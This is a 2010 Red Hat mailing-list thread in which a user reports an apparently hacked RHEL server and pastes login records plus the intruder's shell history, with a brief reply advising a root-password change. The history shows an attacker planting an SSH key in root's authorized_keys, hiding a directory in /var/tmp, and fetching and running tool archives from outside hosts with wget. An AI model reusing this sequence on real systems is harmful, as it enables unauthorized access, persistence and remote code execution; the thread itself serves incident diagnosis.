help

[Wahyu Darmawan]

You may change your root password first, and then you can continue to analyze your system.

________________________________________
From: redhat-list-bounces at redhat.com [redhat-list-bounces at redhat.com] On Behalf Of Joy Methew [ml4joy at gmail.com]
Sent: Thursday, January 28, 2010 12:59 PM
To: General Red Hat Linux discussion list
Subject: help

Hello all,
                    i m using RHEL5.3 as a my mail server with real ip.i
configure my system mostly remotely.last login time of my system 27 jan
from   this ip 118.129.153.43.
than i try to login at 28 jan in morning so i can`t got authentication as
root from my last password.
than i reboot the system reset my password.
i login as a root than i run "last" command i m sending tha first 10 lines
of last command...i thinks someone hack my system.i am sending history
command output.
now i remove .ssh directory and /var/tmp/*

please suggest wat is this??

thanks

last command out put:
root     pts/1        117.199.118.234  Thu Jan 28 10:58   still logged in
root     pts/0        117.199.118.234  Thu Jan 28 10:49   still logged in
root     tty1                          Thu Jan 28 10:48 - 10:52  (00:04)
reboot   system boot  2.6.18-128.el5PA Thu Jan 28 10:45          (00:25)
root     pts/2        165.red-79-153-1 Thu Jan 28 01:42 - 01:52  (00:09)
root     pts/2        165.red-79-153-1 Wed Jan 27 23:02 - 01:27  (02:25)
root     pts/2        165.red-79-153-1 Wed Jan 27 22:33 - 22:34  (00:00)
root     pts/3        165.red-79-153-1 Wed Jan 27 22:32 - 22:33  (00:00)
root     pts/2        118.129.153.43   Wed Jan 27 22:31 - 22:32  (00:01)
root     pts/2        117.199.114.189  Wed Jan 27 15:47 - 15:51  (00:03)

What is 165.red-79........this is nt my ip.


History Output

 115  cat /proc/cpuinfo
  116  mkdir .ssh
  117  cd .ssh
  118  echo ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ==
rsa-key-20080201 >> ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600
~/.ssh/authorized_keys
  119  cd /var/tmp
  120  mkdir " "
  121  cd " "
 122  passwd
  123  echo ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ==
rsa-key-20080201 >> ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600
~/.ssh/authorized_keys
  124  ps -x
  125  cd /var/tmp
  126  w
  127  wget http://kok.ucoz.de/gosh.tgz
  128  tar xvf gosh.tgz
  129  cd gosh
  130  chmod +x *
 131  ./go.sh 121
  132  w
  133  ps -x
  134  ps -aux
  135  cd /var/tmp
  136  cd " "
  137  ls -a
  138  wget http://helpbnc.myftp.org/danger/fld.tgz
  139  tar xzvf fld.tgz
  140  cd fld
  141  chmod +x *
  142  nano cyc.acc
  143  nano cyc.acc.1
  144  nano cyc.set
  145  ./httpd
  146  w
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